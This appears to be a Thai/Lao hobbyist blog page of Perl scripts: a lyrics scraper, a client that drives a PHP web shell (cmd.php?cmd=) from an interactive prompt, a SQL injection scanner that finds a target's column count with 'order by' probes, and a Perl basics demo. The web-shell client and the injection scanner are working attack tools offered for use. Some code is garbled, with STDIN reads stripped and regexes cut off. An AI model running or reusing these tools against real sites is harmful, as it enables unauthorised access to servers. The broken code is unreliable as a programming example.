[Perl] - Lyrics.pl

+ มาอีกแล้วคับท่านกับ perl ของผม มาครั้งนี้เป็น perl เอาใว้หาเนื้อเพลงหรือ lyrics
+ ມາອີກແລ້ວກັບ perl ຫາເນື້ອເພງຫລື lyrics

+ Download Here...!!!

use LWP::UserAgent;

my $ua = LWP::UserAgent->new(agent => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)');
$ua->timeout(10);
print "\t\n[+] Song : ";
chomp($song = );
print "\n[+] $song\n";
$song =~s/\s/\+/ig;
my $target = "http://www.lyricstime.com/search/?q=$song&t=default";
$res = $ua->get($target);
$ct = $res->content();
if($ct =~m/
/ig)

{

  $res = $ua->get("http://www.lyricstime.com/$1");

  $ct2 = $res->content();

  if($ct2 =~m/
([^~]+)      

Cmd Shell - Perl

Watch Video you will know about this....

+Perl Cmd Shell
+PHP CMD
+Download Video Here ..!

#!usr/bin/perl

use LWP::UserAgent;

my $target = 'http://localhost/cmd.php?cmd=';
$ua = LWP::UserAgent->new();
print "dreamclown\@r00t# ";
chomp($cmd = );
while($cmd !~ "exit"){
   if($cmd =~ "cls"){
     system("cls");
   }
   else
   {
   $s = $target . $cmd;
   $res = $ua->get($s);
   $ct = $res->content();
   print $ct;
   }
   print "\ndreamclown\@r00t# ";
  chomp($cmd = );
}

[Perl] - Scan Column Part 2

#!usr/bin/perl

use LWP::UserAgent;

print "\n\tScan Column => [ by Dreamclown ]\n\n";
print "[+] Target : ";
chomp($target=);
if($target !~/^http:\/\//ig)
{
 $target = "http://$target";
}
print "[+] Scan On $target\n";
$browser = LWP::UserAgent->new();
$browser->timeout(10);
$order = "+order+by+";
for($i=1;$i<50;$i++)
{
  $target2 = "$target$order$i";
  $res = $browser->get($target2);
  $ct = $res->content();
  if($ct =~m/Warning/ig)
  {
   $i = $i - 1;
   print "[+] Column => $i\n";
   exit;
  }
}

+ Download Source Code Here..!!

Test Hightlight - Hello World.pl

#!/usr/bin/perl
$age = 26;
@date = (8, 24, 70);

system("cls");
my $a = "Dreamclown";
print $a;
print "\nhello, world\n"; #newline
print "hello, world\t";     #tap
print "\nhello, world\b";    #backspace
print "\nhello, world\a";     #alert 
print "\nhello, world\e";      #ESC charecter
print "\nhello, world\033";
print "\nhello, world\x7f";     #DEL charecter
print "\nhello, world\cC";      #CTRL-C
print "\nhello, world\\";
print "\nhello, world\"";     #double quote
print "\nhello, worl\ud";   #upper
print "\nhello, worl\lD";    #lowwer 
print "\n\Uhello, world";   #all upper
print "\n\LHELLO, WORLD";    #all lowwer
print "\n\Qhello, world";
print "\n\Uhello\E, world\n";     #End \U\L\Q
print $age."\n";
print $date[2] . "\n";

%fruit = (
          apples => 3,
          oranges => 6
);

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
print $hour . ":" . $min . ":" . $sec . "\n";

$now = localtime();
print $now . "\n";

if ($a = "Dreamclown"){
  print "OK";
}
else{
  print "Not OK";
}

unless ($a = "Dreamclown"){
  print "\nA";
}
else{
  print "\nB";
}

if ($a != "Dreamclown"){ print "\nThat's right..!";}
elsif ($a = "Dreamclown"){ print "\nGood\n"; }

$i = 1;
while ($i < 10){
  print $i . "\n";
}
continue{
  $i++;
}

for($i = 1;$i < 11;$i++){
  print $i . "\n";
}